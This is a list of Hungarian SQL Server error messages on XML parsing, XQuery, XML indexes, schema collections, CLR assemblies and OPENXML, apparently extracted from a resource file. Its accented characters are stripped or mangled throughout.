tXML-elemzs: Vratlan hiba trtnt az XML-elemzQben.

XQuery adatmanipulcis kifejezs szksges az XML adattpus metdusban.

rvnytelen XQuery kifejezst kapott az XML adattpus metdus.

PXML-kd szablyossgnak ellenQrzse: Attribtum nem szerepelhet elemdeklarcin kvl. rja jra az XQuery kifejezst, hogy az szablyos XML-kdot eredmnyezzen.

4XML-kd szablyossgnak ellenQrzse: A(z)  %1!s!  attribtum ismtlQdik. rja jra az XQuery kifejezst, hogy az szablyos XML-kdot eredmnyezzen.

XML-kd szablyossgnak ellenQrzse: A(z)  %1!s!  csompont adatai kztt szerepel XML-kdban nem tmogatott karakter (0x%2!s!).

tA meglvQ smasszetevQk mdostsa nem engedlyezett. Ksrlet trtnt egy mr meglvQ XML-smasszetevQ mdostsra; az sszetevQ nvtere  %1!s! , neve  %2!s! , fajtja  %3!s! .

BelsQ XMLDB smafeldolgozi hiba trtnt. Segtsgrt forduljon a technikai tancsadshoz.

A(z)  %2!s!  gyqjtemnyben nem tallhatk  %1!s!  clnvtrrel rendelkezQ smasszetevQk.

A megadott gyqjtemny nem ltezik a metaadatokban:  %1!s! .

XQuery: A frisstst  %1!s!  rtkkel nem lehet vgrehajtani, mert a(z)  {%2!s!}%3!s!  tpus kanonikus alakja nem felel meg az elQrt mintzatnak. Ajnlott kerlni a mintzati rtkkorltozs alkalmazst nem karakterlnc tpusok esetben.

A megadott  %1!s!  sszetevQt nem lehet elvetni, mert azt a kvetkezQ sszetevQ hasznlja:  %2!s! .

XQuery: A frisstst  %1!s!  rtkkel nem lehet vgrehajtani, mert a(z)  {%2!s!}%3!s!  tpus szerinti ellenQrzse hibt jelzett.

XQuery: A karakterlnc-konvertls meghisult UPDATE-ellenQrzs kzben.

XQuery: Csak nullzhat elemek, illetve szvegcsompontok frissthetQk res sorozattal.

Az xml:space attribtum rtke csak  preserve  (megQrzs) vagy  default  (alaprtelmezett) lehet. A(z)  %1!s!  rtk nem rvnyes.

Az XML-elemzQ felhasznlt minden memrit. Ennek lehetsges oka az attribtumok, illetve nvtr-deklarcik tl magas szma.

A(z)  %1!s!  vltozhoz tartoz xml-smagyqjtemny megvltozott a kteg vgrehajtsa kzben. Tvoltsa el a ktegbQl azokat az XML-smagyqjtemnyi DDL mqveleteket, amelyektQl fgg a kteg, majd futtassa jra.

Az DROP XML INDEX utasts nem tmogatja semmifle paramter hasznlatt.

XQuery: Egy csompont rtknek res sorozattal trtnQ fellrsa csak abban az esetben engedlyezett, ha  ()  az j kifejezs. Az j rtkkifejezst res sorozatknt rtkeli a rendszer, nem  ()  rtkknt.

pXML-kd szablyossgnak ellenQrzse: Az XML nvtr-deklarci nem szerepelhet az elemdeklarcin kvl. rja jra az XQuery kifejezst, hogy az szablyos XML-kdot eredmnyezzen.

A megadott xml-smagyqjtemnyi azonost nem rvnyes: %1!s!.

A megadott  %1!s!  gyqjtemnyt nem lehet elvetni, mert a(z)  %3!s!  %2!s! hasznlja.

A rendszer egy QName tpussal elltott rtk nem tmogatott hasznlatt szlelte a(z)  %1!s!  csomponton.

A(z)  %2!s!  tbla  %1!s!  oszlopa nem XML-tpus. Az oszlop XML-indexnek ltrehozshoz XML-tpus szksges.

(A(z)  %3!s!  tbla  %2!s!  oszlopban mr ltezik  %1!s!  nevq elsQdleges XML-index, s egy oszlophoz nem tartozhat tbb elsQdleges XML-index.

hA(z)  %1!s!  tblnak %2!s! darabnl kevesebb oszlopot tartalmaz frtztt elsQdleges kulccsal kell rendelkeznie ahhoz, hogy elsQdleges XML-indexet lehessen ltrehozni benne.

Nem tallhat  %2!s!  nevq %1!s! XML-index a(z)  %3!s!  tblban.

<A(z)  %1!s!  objektumhoz nem hozhat ltre az XML-index vagy a trbeli index, mert az objektum nem tbla. Hozza ltre az indexet az alaptbla oszlophoz.

Az XML adattpus pldnyhoz tl sok szint tartozik a begyazott csompontokbl. Az engedlyezett maximlis mlysg %1!s! szint.

@A(z)  %1!s!  tbla elsQdleges indexnek maximlis mrete %2!s! bjt. A CREATE XML INDEX utasts hasznlata esetn ez a mret legfeljebb %3!s! bjt lehet.

,A(z)  %1!s!  nem rvnyes nv az XML-index szmra, mert  %2!s!  karakterrel kezdQdik. Az XML-index neve nem kezdQdhet  #  vagy  @  karakterrel.

A megadott  %1!s!  gyqjtemny nem mdosthat, mert az az SQL Server beptett XML-smagyqjtemnye.

TA(z)  %2!s!  tblavltoz ltal hivatkozott  %1!s!  XML-smagyqjtemny el lett dobva vagy meg lett vltoztatva a kteg vgrehajtsa kzben. Futtassa jbl a kteget.

dA(z)  %2!s!  tblavltoz  %1!s!  oszlopa ltal hivatkozott XML-smagyqjtemny el lett dobva vagy meg lett vltoztatva a kteg vgrehajtsa kzben. Futtassa jbl a kteget.

DNem hozhat ltre  %1!s!  elsQdleges XML-, szelektv XML- vagy trbeli index a(z)  %2!s!  tblzat  %3!s!  oszlopa alapjn, mert az oszlop szmtott oszlop.

Nem hozhat ltre  %1!s!  msodlagos XML- vagy msodlagos szelektv XML-index USING XML INDEX zradk nlkl.

A(z)  %1!s!  elsQdleges XML-index nem ltezik a(z)  %2!s!  tbla  %3!s!  oszlopban.

A(z)  %2!s!  tbla egyetlen  %1!s!  oszlopkszlete nem indexelhetQ XML-index hasznlatval.

,ElsQdleges XML-index nem alakthat t msodlagos XML-indexre a DROP_EXISTING argumentum hasznlatval. A(z)  %1!s!  index elsQdleges XML-index.

A megadott  %1!s!  gyqjtemny nem vltoztathat meg, mert nem ltezik vagy nincs hozz engedlye.

A megadott  %1!s!  gyqjtemny nem hozhat ltre, mert mr ltezik vagy nincs hozz engedlye.

|A(z)  %1!s!  XML-smagyqjtemny defincija megvltozott.

A(z)  %1!s!  modul visszatrsi paramternek XML-smagyqjtemnye megvltozott a kteg vgrehajtsa kzben. Futtassa jbl a kteget.

DA megadott paramter rvnytelen. XML-smagyqjtemnyek csak szveges karakterlncbl, karakterlnc tpus vltozbl vagy nem tpusos XML-bQl hozhatk ltre.

lA beptett smk szerializlsa nem tmogatott.

A clknt megadott karaktersorozat tl kicsi az XML-pldny jellshez.

Nem lehetsges egy vagy tbb karakter talaktsa XML-rQl a clknt megadott rendezsre.

Nem sikerlt a DLL betltse. EllenQrizze, hogy az xmlrw.dll megtallhat-e az SQL Server teleptett pldnyban.

BelsQ hiba: A CreateInfoSetReaderEx nem tallhat az xmlrw.dll fjlban. Valsznqleg nem megfelelQ az xmlrw.dll verzija.

A(z) %1!s! nem rvnyes stlus szm az XML-re trtnQ talaktskor.

Az XML elemzse nem engedlyezett belsQ alkszlethez tartoz DTD-fjlokkal. A belsQ alkszlethez tartoz DTD-fjlok korltozott tmogatsnak engedlyezshez hasznlja a CONVERT parancsot a 2-es stlusbelltssal.

A(z) %1!s! nem rvnyes stlus szm az XML-rQl trtnQ talaktskor.

A megadott null paramter rvnytelen. Az XML-smagyqjtemnyek csak nem null rtkbQl hozhatk ltre.

0A smagyqjtemny megvltoztatsa nem hajthat vgre, mert az aktulis sma ktrtelmq helyettestQ elemet vagy xs:anyType tpus elemet tartalmaz.

$Nem sikerlt az ALTER SCHEMA COLLECTION utasts vgrehajtsa. Az utasts nem hajthat vgre olyan smagyqjtemnyen, amely engedlyezi a nem egyrtelmqen ellenQrizhetQ tartalmat, s amely smhoz kttt. A gyqjtemny megvltoztatsa elQtt tvoltsa el a sma ktst.

 Nem sikerlt az ALTER SCHEMA COLLECTION utasts vgrehajtsa. A(z)  %1!s!  tbla XML-oszlopainak jbli ellenQrzse a kvetkezQ ok miatt nem sikerlt:  %2!s! . Meg kell vltoztatni a smt vagy a megadott adatokat, hogy az ellenQrzs ne talljon semmilyen eltrst.

Egy XML-mqvelet 2 GB-ot meghalad mretq XML-adattpust eredmnyezett. A mqvelet megszakadt.

A(z)  %1!s!  elem tpusa rvnytelen. Az SQL Server nem engedlyezi a beptett  ID  s  IDREF  XML-smatpus, illetve az ezekbQl szrmaztatott tpusok hasznlatt az elem tpusaknt. %2!s! %3!s!

A(z)  %1!s!  XSD-adattpus nem engedlyezett a kvetkezQ szelektv XML-indexhez:  %2!s! .

$Nem adhat meg XSD-tpus a(z)  %1!s!  szelektv XML-indexhez, mert a(z)  %3!s!  tblzat  %2!s!  oszlopa XML-smagyqjtemnyhez van trstva.

0A(z)  %1!s!  szelektv XML-indexhez tartoz MAX_LENGTH bellts csak olyan tpusokhoz adhat meg, amelyek tmogatjk a maxLength rtkkorltozst.

A MAX_LENGTH bellts nem engedlyezett a  node()  elemmel egytt a kvetkezQ szelektv XML-indexhez:  %1!s! .

Ugyanaz a nv nem rendelhetQ hozz tbb elrsi thoz a kvetkezQ szelektv XML-indexnl:  %1!s! .

Ugyanaz az elrsit-kifejezs nem kpezhetQ le ktszer SQL-adattpusok hasznlatval a kvetkezQ szelektv XML-indexnl:  %1!s! .

A(z)  %1!s!  elrsi thoz megadott kifejezs nem engedlyezett a kvetkezQ szelektv XML-indexhez:  %2!s! . Csak prediktum nlkli egyszerq elrsit-kifejezsek indexelse engedlyezett.

A(z)  %1!s!  elemet tartalmaz elrsi t megadsa nem engedlyezett a kvetkezQ szelektv XML-indexhez:  %2!s! .

A(z)  %1!s!  adattpus nem engedlyezett a kvetkezQ szelektv XML-indexhez:  %2!s! .

`A MAX_LENGTH optimalizlsi mutat nem adhat meg a kvetkezQ szelektv XML-indexhez, ha egy elemhez meg van adva length vagy maxLength rtkkorltozs a smban:  %1!s! .

Az utols lpsben  *  karaktert tartalmaz elrsi t megadsa nem engedlyezett a kvetkezQ szelektv XML-indexhez:  %1!s! .

TA(z)  %1!s!  tblnak kevesebb mint %2!s! oszlopbl ll frtztt elsQdleges kulcsot kell tartalmaznia ahhoz, hogy szelektv XML-indexet lehessen ltrehozni hozz.

(a(z)  %1!s!  szelektv XML-index mr ltezik a(z)  %3!s!  tblzat  %2!s!  oszlopnl. Nem engedlyezett oszloponknt tbb szelektv XML-index.

 %1!s!  elrsi t. Tbb rtk tallhat, pedig meg van adva a SINGLETON bellts a kvetkezQ szelektv XML-indexhez:  %2!s! .

Nem tallhat a(z)  %1!s!  elrsi t a kvetkezQ szelektv XML-indexben:  %2!s! .

Nem tallhat  %1!s!  nevq szelektv XML-index a(z)  %2!s!  tblzatban.

A SINGLETON bellts csak tpus nlkli XML-kdhoz adhat meg a kvetkezQ szelektv XML-indexben:  %1!s! .

8Nem adhat meg  *  karaktert tartalmaz elrsi t csak az URI-azonosthoz, vagy csak a kvetkezQ szelektv XML-index csompontjnak nevhez:  %1!s! .

A(z)  %1!s!  szelektv XML-index nem ltezik a(z)  %2!s!  tblzat  %3!s!  oszlopban.

<Szelektv XML-index nem alakthat t msodlagos szelektv XML-indexre a DROP_EXISTING argumentum hasznlatval. A(z)  %1!s!  index szelektv XML-index.

<Nem tvolthat el az sszes elrsi t a kvetkezQ szelektv XML-indexbQl:  %1!s! . Egy szelektv XML-indexhez legalbb egy elrsi utat meg kell adni.

Az adatbzisban trolt Selective DG verzija eltr a kiszolgln levQ Selective DG verzijtl a kvetkezQ indexnl:  %1!s! .

(A beszrt rtk hossza meghaladja a(z)  %2!s!  elrsi thoz engedlyezett %1!s! maximlis hosszt a kvetkezQ szelektv XML-indexnl:  %3!s! .

DAz ALTER SCHEMA COLLECTION utasts vgrehajtsa sikertelen volt, mert a(z)  %3!s!  tblzat  %2!s!  szelektv XML-indexvel indexelt  %1!s!  elrsi t rvnytelentve lenne. Meg kell vltoztatni a smt vagy a megadott elrsi utat, hogy az ellenQrzs ne talljon semmilyen eltrst.

$A(z)  %1!s!  elrsi t olyan tpusra lett elQlptetve, amely msodlagos szelektv XML-index kulcsoszlopaknt val hasznlathoz rvnytelen.

 Nem hozhat ltre msodlagos szelektv XML-index a(z)  %1!s!  elrsi thoz, mert meg van adva a  node()  elem.

Ugyanaz az elrsit-kifejezs nem kpezhetQ le ktszer azonos XSD-adattpusokkal a kvetkezQ szelektv XML-indexnl:  %1!s! .

Nem levl elem tallhat a(z)  %1!s!  elrsi ttal rendelkezQ rtkhez indexelve a kvetkezQ szelektv XML-indexnl:  %2!s! .

A maximlis kulcshosszsg %1!s! bjt. A(z)  %3!s!  elrsi thoz megadott  %2!s!  msodlagos szelektv XML-index maximlis hossza %4!s! bjt. A nagy rtkek bizonyos kombinciinl a beszrsi/frissts mqvelet sikertelen lesz.

A(z)  %1!s!  szelektv XML-indexhez tartoz elQlptetett elrsi utak szma meghaladja a maximlis %2!s! rtket.

A kvetkezQ szelektv XML-indexhez megadott  %1!s!  elrsi t tl mly:  %2!s! . Az engedlyezett maximlis mlysg %3!s! szint.

|A(z)  %1!s!  elrsi thoz megadott MAXLENGTH belltsrtk nem engedlyezett a kvetkezQ szelektv XML-indexhez:  %2!s! . Az rtknek a kvetkezQ tartomnyba kell esnie: %3!s! %4!s!.

,A(z)  %2!s!  szelektv XML-index  %1!s!  XML-elrsi tja nem dobhat el, mert a kvetkezQ msodlagos szelektv XML-index hasznlja azt:  %3!s! .

A(z) %1!s! nem grgethetQ vissza. Nem tallhat ilyen nevq tranzakci vagy mentsi pont.

Nem sikerlt a(z) %1!s! vgrehajtsa, mert a(z)  %4!s!  szerelvny  %3!s!  osztlyban lvQ  %2!s!  metdus visszaadott eredmnye %5!s!, de a CLR-esemnyindtknak res rtket kell visszaadniuk.

A(z) %1!s! ASSEMBLY utasts vgrehajtsa sikertelen volt, mert a mqvelet nem tudta megnyitni a fizikai  %2!s!  fjlt: %3!s!.

Nem sikerlt a(z) %1!s! ASSEMBLY vgrehajtsa, mert nem tudott olvasni a fizikai fjlbl:  %2!s! : %3!s!.

A(z)  %1!s!  szerelvny nem tallhat az SQL-katalgusban.

|A(z) %1!s!.%2!s! ltal visszaadott rtk nem lehet NULL.

A(z)  %1!s!  tpus nem tallhat a(z)  %2!s!  szerelvnyben.

A(z)  %2!s!  tpus  %1!s!  metdusa nem tallhat a(z)  %3!s!  szerelvnyben.

Nem sikerlt megnyitni a rosszul megformzott  %1!s!  szerelvnyt (HRESULT 0x%2!s!).

A(z)  %2!s!  tpus  %1!s!  mezQje nem tallhat a(z)  %3!s!  szerelvnyben.

Hiba trtnt a(z)  %1!s!  szerelvny (HRESULT 0x%2!s!) metaadatainak sszegyqjtsekor.

Ehhez a funkcihoz a .NET-keretrendszer 4-es verzija szksges. A funkci hasznlathoz teleptse a .NET-keretrendszer 4-es verzijt.

,Nem sikerlt inicializlni a(z) %1!s! kzs nyelvi futtat krnyezetet (CLR) (HRESULT 0x%2!s!). Javtsa ki a hibt, s ksQbb prblja meg jbl.

Nem sikerlt inicializlni a(z) %1!s! kzs nyelvi futtat krnyezetet (CLR) (HRESULT 0x%2!s!). A CLR integrcis szolgltatsainak hasznlathoz jra kell indtania az SQL Server rendszert.

HMemriaproblma miatt nem sikerlt inicializlni a(z) %1!s! kzs nyelvi futtat krnyezetet (CLR). Ezt valsznqleg a MemToLeave terleten elQfordul memriaproblma okozza. Tovbbi tjkoztatst a CLR integrcis szolgltatsok dokumentcija tartalmaz az SQL Server online knyvekben.

Felhasznl ltal definilt adatfolyam-kldQ fggvny eredmnytbljban nem hasznlhat a(z)  %1!s!  oszlop (oszlop:  %2!s! ).

A smagyqjtemnyek  %1!s!  adatbzisa nem ltezik vagy nincs hozz engedlye.

tNincs  %1!s!  gyqjtemny a(z)  %2!s!  metaadatokban.

Nem sikerlt ltrehozni az AppDomain alkalmazstartomnyt:  %1!s! . %2!s!

Nem sikerlt megnyitni a(z)  %1!s!  rendszerszerelvnyt: %2!s!.

|A(z)  %1!s!  tpus mg nem tmogatott a CLR-mqveleteknl.

Hiba trtnt a .NET-keretrendszerben az utasts vgrehajtsa kzben.

Hiba trtnt a .NET-keretrendszerben az utasts vgrehajtsa kzben: %1!s!.

Hiba trtnt a .NET-keretrendszerben a felhasznl ltal definilt  %1!s!  rutin vagy sszests vgrehajtsa kzben: %2!s!.

A(z)  %3!s!  szerelvny  %2!s!  osztlyban lvQ  %1!s!  metdus, tulajdonsg vagy mezQ statikus.

Felhasznl ltal definilt adatfolyam-kldQ fggvny eredmnytbljban nem hasznlhat szmtott oszlop (oszlop:  %1!s! ).

Felhasznl ltal definilt adatfolyam-kldQ fggvny eredmnytbljban nem hasznlhat  %1!s!  korltozs.

Felhasznl ltal definilt adatfolyam-kldQ fggvny eredmnytbljban nem hasznlhat  %1!s!  korltozs (oszlop:  %2!s! ).

A(z)  %1!s!  szerelvny nem tallhat a(z)  %2!s!  adatbzis SQL-katalgusban.

lNem sikerlt az ALTER ASSEMBLY utasts vgrehajtsa, mert a hivatkozott  %1!s!  szerelvny megvltozott. EllenQrizze, hogy nem mdosult-e a verzi, a nv s a nyilvnos kulcs.

A kvetkezQ mdostsa nem vgezhetQ el, mert az objektum tpusa inkompatibilis:  %1!s! .

Nem sikerlt a(z) %1!s! vgrehajtsa, mert a(z)  %4!s!  szerelvny  %3!s!  osztlynak  %2!s!  fggvnye egy vagy tbb paramtert ignyel, de a CLR-esemnyindtk nem fogadnak el paramtereket.

Az eszkalcis hzirend megszaktotta .NET-keretrendszer vgrehajtst, mert elfogyott a memria. %1!s!

Az eszkalcis hzirend eltvoltotta a(z) %1!s! AppDomain alkalmazstartomnyt az alkalmazs konzisztencijnak megQrzse rdekben. Elfogyott a memria egy kritikus fontossg erQforrs elrse kzben. %2!s!

Az eszkalcis hzirend eltvoltotta a(z) %1!s! AppDomain alkalmazstartomnyt az alkalmazs konzisztencijnak megQrzse rdekben. Az alkalmazs nem tudott feloldani egy irnytott zrolst. %2!s!

A .NET-keretrendszer vgrehajtsa megszakadt. Egy msik lekrdezs a(z) %1!s! AppDomain alkalmazstartomny eltvoltst okozta. %2!s!

Helyrellthatatlan hiba trtnt a .NET-keretrendszer kzs nyelvi futtat krnyezetben. Az SQL Server lell. Ha a hiba a kiszolgl jraindtsa utn ismt elQfordul, forduljon az gyfl-tmogatsi szolglathoz.

A .NET-keretrendszer kzs nyelvi futtat krnyezett lelltotta egy felhasznli kd, pldul egy felhasznl ltal definilt fggvny vagy CLR-beli tpus. Az SQL Server lell. A folyamat bezrshoz ne hasznlja az Environment.Exit metdust. Ha a szndka az, hogy egsz szmot adjon vissza a hiba jelzseknt, hasznljon skalris fggvnyt vagy kimeneti paramtert. 

A .NET-keretrendszer vgrehajtsa megszakadt veremtlcsorduls miatt. %1!s!

rvnytelen szerializlsi formtum (Format.Unknown) a tpusnl:  %1!s!.%2!s! .

A bejegyzs alatt ll  %1!s!  szerelvnynv rvnytelen, mert a nv megegyezik egy rendszerszerelvny nevvel.

Nem sikerlt az ALTER ASSEMBLY utasts vgrehajtsa, mert a(z)  %1!s!  szerelvnyhez tbb fjl van trstva. A felesleges fjlok eltvoltshoz hasznlja az ALTER ASSEMBLY DROP FILE utastst.

Az objektum nem hozhat ltre, mert a(z) %1!s! ltalnos tpus.

A .NET-keretrendszer vgrehajtsa megszakadt. Az UDP/UDF/CLR tpus nem zrta le a szl affinitst.

`Nem sikerlt a(z)  %2!s!  szerelvny %1!s! ASSEMBLY utastsnak vgrehajtsa, mert a(z)  %3!s!  szerelvny rosszul van megformzva vagy nem tiszta .NET-szerelvny. %4!s!

A vgrehajtsi statisztika SET belltsainak engedlyezse nem lehetsges CLR-eljrsbl vagy -fggvnybQl.

Nem sikerlt megszemlyesteni a vgrehajtsi krnyezetet a(z)  %1!s!  vgrehajtsa kzben.

Hiba trtnt a(z)  %3!s!  szerelvny  %2!s!  osztlyban lvQ  %1!s!  metdus, tulajdonsg vagy mezQadatok lekrse kzben.

 Nem sikerlt a CREATE ASSEMBLY vgrehajtsa, mert a szerelvny ltal hivatkozott  %1!s!  szerelvny egy msik felhasznl tulajdonban van.

Hiba trtnt a .NET-keretrendszerben a felhasznl ltal definilt  %1!s!  rutin vagy sszests vgrehajtsa kzben: %2!s!. A felhasznli tranzakci, ha van ilyen, vissza lesz grgetve.

Nem sikerlt a(z) %1!s! vgrehajtsa, mert a paramterek szma nem egyezik.

Nem sikerlt a(z) %1!s! vgrehajtsa a(z)  %2!s!  esetben, mert a visszaadott rtk T-SQL s CLR tpusa nem egyezik.

Nem sikerlt a(z) %1!s! vgrehajtsa a(z)  %2!s!  esetben, mert a(z)  %3!s!  paramter T-SQL s CLR tpusa nem egyezik.

\Nem sikerlt a(z) %1!s! vgrehajtsa a .NET-keretrendszer egyik rvnytelen hvsi konvencija miatt. Hasznlja a .NET-keretrendszer alaprtelmezett hvsi konvencijt.

Az SQL-szerelvnynv ( %1!s! ) s a .NET-keretrendszerbeli szerelvnynv ( %2!s! ) nem egyezik. A szerelvnyneveknek egyeznik kell.

A(z)  %1!s!  szerelvnynv mr ltezik a(z)  %2!s!  tulajdonosnl a(z)  %3!s!  adatbzisban.

Nem sikerlt a(z) %1!s! vgrehajtsa, mert nem tallta a(z)  %2!s!  tpust a(z)  %3!s!  szerelvnyben.

Nem sikerlt a(z) %1!s! vgrehajtsa, mert a(z)  %2!s!  tpus nem felel meg a(z) %3!s! specifikcinak a kvetkezQ mezQ miatt:  %4!s! .

 Nem sikerlt a(z) %1!s! vgrehajtsa, mert a(z)  %2!s!  tpus nem felel meg a(z) %3!s! specifikcinak a kvetkezQ metdus miatt:  %4!s! .

Nem tallhat a(z) %1!s! tpusazonost a(z) %2!s! adatbzisban. Ezt a sma inkonzisztencija okozza.

A(z)  %1!s!  szerelvny egy rendszerszerelvny. Ez a mqvelet csak a felhasznli szerelvnyeknl engedlyezett.

A(z)  %1!s!  fjl nem tallhat a(z)  %2!s!%3!s!  mappban.

EltrQ verzij fjlok:  %1!s!  (%2!s!.%3!s!.%4!s!) s  %5!s!  (%6!s!.%7!s!.%8!s!).

A(z)  %3!s!  szerelvny  %2!s!  osztlyban lvQ  %1!s!  metdus, tulajdonsg vagy mezQ visszatrsi tpusa rvnytelen.

A(z)  %3!s!  szerelvny  %2!s!  osztlyban levQ  %1!s!  metdus rvnytelen paramterdeklarcit tartalmaz a(z) %4!s!. paramterhez.

Nem sikerlt a(z) %1!s! ASSEMBLY vgrehajtsa, mert a szerelvny %2!s! forrsparamtere nem rvnyes szerelvny.

Nem sikerlt a(z) %1!s! ASSEMBLY vgrehajtsa, mert a szerelvny %2!s! forrsparamtere nem rvnyes kifejezs.

Nem sikerlt a(z) %1!s! vgrehajtsa, mert CLR-eljrsok csak olyan CLR-metdusokhoz definilhatk, amelyek SqlInt32, System.Int32, System.Nullable<System.Int32> vagy void tpust adnak vissza.

Hiba trtnt a .NET-keretrendszerben a(z)  %2!s!  szerelvnyben lvQ  %1!s!  osztly adatainak lekrse kzben: %3!s!.

Nem sikerlt a(z)  %1!s!  vgrehajtsa, mert a(z) %2!s! nem lehet null rtkq.

A(z)  %3!s!  szerelvny  %2!s!  osztlynak  %1!s!  metdusa ltalnos metdus. Az ltalnos metdusok nem tmogatottak.

A(z)  %2!s!  szerelvny  %1!s!  osztlya ltalnos tpus. Az ltalnos tpusok nem tmogatottak.

A(z)  %3!s!  szerelvny  %2!s!  osztlyban tbb olyan metdus, tulajdonsg vagy mezQ tallhat, amelynek neve  %1!s! . A tbbszrsen definilt metdusok, tulajdonsgok vagy mezQk nem tmogatottak.

A(z)  %3!s!  szerelvny  %2!s!  osztlyban lvQ  %1!s!  metdus, tulajdonsg vagy mezQ nem statikus.

A(z)  %3!s!  szerelvny  %2!s!  osztlyban lvQ  %1!s!  metdus, tulajdonsg vagy mezQ nem nyilvnos.

A szerelvnyneveknek %1!s! karakternl rvidebbeknek kell lennik. A(z)  %2!s!  szerelvnynv tl hossz.

A(z)  %2!s!  szerelvnyben lvQ  %1!s!  tpus nem nyilvnos.

Nem sikerlt a CREATE TYPE vgrehajtsa, mert a(z)  %1!s!  tpus nem felel meg a CLR-tpusspecifikcinak a(z)  %2!s!  fellet miatt.

rvnytelen prblkozs trtnt a mqvelet folytatsra egy slyos hiba utn.

A szerelvny megvltoztatsa  %1!s!  tpusrl  %2!s!  tpusra nem kompatibilis frissts.

0Nem egyeznek a deklarcik a(z) %1!s! paramternl. A .NET-keretrendszer hivatkozsnak s a T-SQL OUTPUT paramter deklarciinak egyeznik kell.

A(z)  %1!s!  szerelvny nem tallhat a(z)  %2!s!  knyvtrban.

@A(z)  %1!s!  szerelvny nem lthat az SQL-objektumok ltrehozshoz. Hasznlja az ALTER ASSEMBLY utastst a szerelvny lthatsgnak megvltoztatshoz.

A(z)  %1!s!  szerelvny nem hasznlhat SQL-objektumok ltrehozshoz, mert rendszerszerelvny.

A(z)  %3!s!  szerelvny  %2!s!  tpusnak  %1!s!  tulajdonsga vagy mezQje nem statikus.

Nem sikerlt az gyfl megszemlyestse a szerelvny fjlmqvelete kzben.

Nem lehetett telepteni a(z)  %1!s!  szerelvnyt, mert egy meglvQ hzirend megakadlyozn a hasznlatt.

A(z)  %1!s!  szerelvnyhivatkozst egy klsQ hzirend tirnytotta a kvetkezQre:  %2!s! 

A szerelvnyek fjlmqveletei nem engedlyezettek a SETUSER utastssal aktivlt Windows NT-felhasznlk szmra.

Nem sikerlt a DROP ASSEMBLY utasts vgrehajtsa, mert a megadott szerelvnyekre a(z)  %1!s!  szerelvny hivatkozik.

Nem sikerlt a DROP ASSEMBLY utasts vgrehajtsa, mert a(z)  %1!s!  szerelvnyre a(z)  %2!s!  objektum hivatkozik.

$Nem sikerlt a(z) %1!s! vgrehajtsa a(z)  %2!s!  esetben, mert a(z)  %3!s!  metdus elsQ paramternek System.Object tpusnak kell lennie.

A(z)  %2!s!  tpus  %1!s!  tulajdonsga vagy mezQje nem tallhat a(z)  %3!s!  szerelvnyben.

A(z)  %3!s!  szerelvny  %2!s!  tpusnak  %1!s!  tulajdonsga vagy mezQje statikus.

Nem lehet olvasni a(z)  %3!s!  szerelvny  %2!s!  tpusnak  %1!s!  tulajdonsgbl, mert a tulajdonsgnak nincs  get  lerja.

Nem lehet hozzrendelst vgezni a(z)  %3!s!  szerelvny  %2!s!  tpusnak  %1!s!  tulajdonsghoz, mert a tulajdonsg csak olvashat.

PNem sikerlt a(z) %1!s! ASSEMBLY vgrehajtsa, mert a(z)  %2!s!  szerelvny rendszerszerelvny. Hozzon ltre felhasznli szerelvnyt a kvnt funkci megadshoz.

pNem sikerlt a CREATE %1!s! utasts vgrehajtsa.

Nem sikerlt a DROP ASSEMBLY utasts vgrehajtsa, mert a(z)  %1!s!  szerelvnyre a(z)  %2!s!  CLR-beli tpus hivatkozik.

A rendszer egy res natv szerializlsi osztlyt tallt:  %1!s! . Az res natv szerializlsi osztlyok nem engedlyezettek.

(XML-hiba: %1!s!

<A hiba lersa:  %1!s! .

<XML-elemzsi hiba: %1!s!

%1!s!: Nem sikerlt IPersistStream felletet szerezni az XML-szvegben.

%1!s!: A(z) %2!s!. szm paramterhez megadott rtk rvnytelen.

Nem sikerlt ltrehozni a(z)  %1!s!  osztly pldnyt. EllenQrizze, hogy az Msxmlsql.dll szerepel-e az SQL Server teleptsben.

A(z)  %1!s!  oszlop adattpusa rvnytelen. Az rvnyes adattpusok a kvetkezQk: CHAR/VARCHAR, NCHAR/NVARCHAR, TEXT/NTEXT s XML.

XNem sikerlt az Msxmlsql.dll betltse.

<Az XML-adattpus srlt.

TA megadott  %1!s!  rtk mr ltezik.

XML-kdolsi vagy -dekdolsi hiba trtnt a(z)  %1!s!  objektumnvnl.

4A(z)  %1!s!  oszlop adattpusa rvnytelen. Az adattpus nem lehet text, ntext, image, binary, varchar(max), nvarchar(max), varbinary(max) vagy xml.

A(z)  %1!s!  oszlop rvnytelen adattpust tartalmaz. Az rvnyes adattpusok a kvetkezQk: char, varchar, nchar s nvarchar.

XNem lehetett ltrehozni az XML-dokumentumot, mert kevs a memria a kiszolgl szmra. Hasznlja az sp_xml_removedocument utastst az XML-dokumentumok feloldshoz.

TNem sikerlt talaktani az OPENXML  %1!s!  oszlop rtkt sql_variant adattpusra. Az rtk tl hossz. Mdostsa text, ntext vagy image adattpusra az oszlopot.

LHelytelen az adatfolyam lezrsa.

Az adatfolyambl krt adatrszlet mrete tllpi az engedlyezett hatrrtket.

A(z) %1!s! csak nem tpusos XML-t tud feldolgozni. Alaktsa t a bemeneti rtket XML vagy karakterlnc tpusra.

A(z)  %1!s!  oszlop oszlopkifejezsnek eredmnye nem kompatibilis a krt  XML  tpussal. Az eredmnynek elemnek, szvegcsompontnak, megjegyzscsompontnak, feldolgozsi utastsnak vagy dokumentum-csompontnak kell lennie.

Az OPENXML esetn elemkzpont lekpezst kell hasznlni, amikor az oszlopok egyike XML tpus.

A krt OpenXML-dokumentumot jelenleg egy msik szl hasznlja, ezrt nem lehet hasznlni.

A(z)  %1!s!  oszlop adattpusa rvnytelen. CLR-beli tpusok nem hasznlhatk OpenXML WITH zradkban.

XAz MSXMLSQL.DLL tallt verzija korbbi, mint a minimlis kvetelmnyknt szksges verzi. Tallt verzi:  %1!s!.%2!s!.%3!s! . Szksges verzi:  %4!s!.%5!s!.%6!s! .

OpenXML nem hasznlhat DML vagy OUTPUT INTO mqvelet cljaknt.

dXQuery: A(z)  %1!s!  mqvelet nem tmogatott.

A hasznlni prblt XML-index verzija mr nem tmogatott. Dobja el ezt a verzit, s hozza ltre jbl az XML-indexet.

Az XML-csompont azonostja rvnytelen. Ha a problma tartsan fennll, ptse fel jbl az adatbzist.

XQuery: A dokumentumok fastruktrja tl mly. Ha a problma tartsan fennll, egyszerqstenie kell az XML-hierarchit.

tXQuery: Az ordpath karakterlnc rvnytelen:  %1!s! 

XQuery: A(z)  %1!s!  SQL-tpus nem tmogatott az XQuery-kifejezsekben.

\XQuery: Az XML-pldnyokban engedlyezett maximlis mlysg %1!s! szint. A lekrdezsben szereplQ egyik elrsi t alacsonyabb szinten lvQ csompontokat prbl elrni.

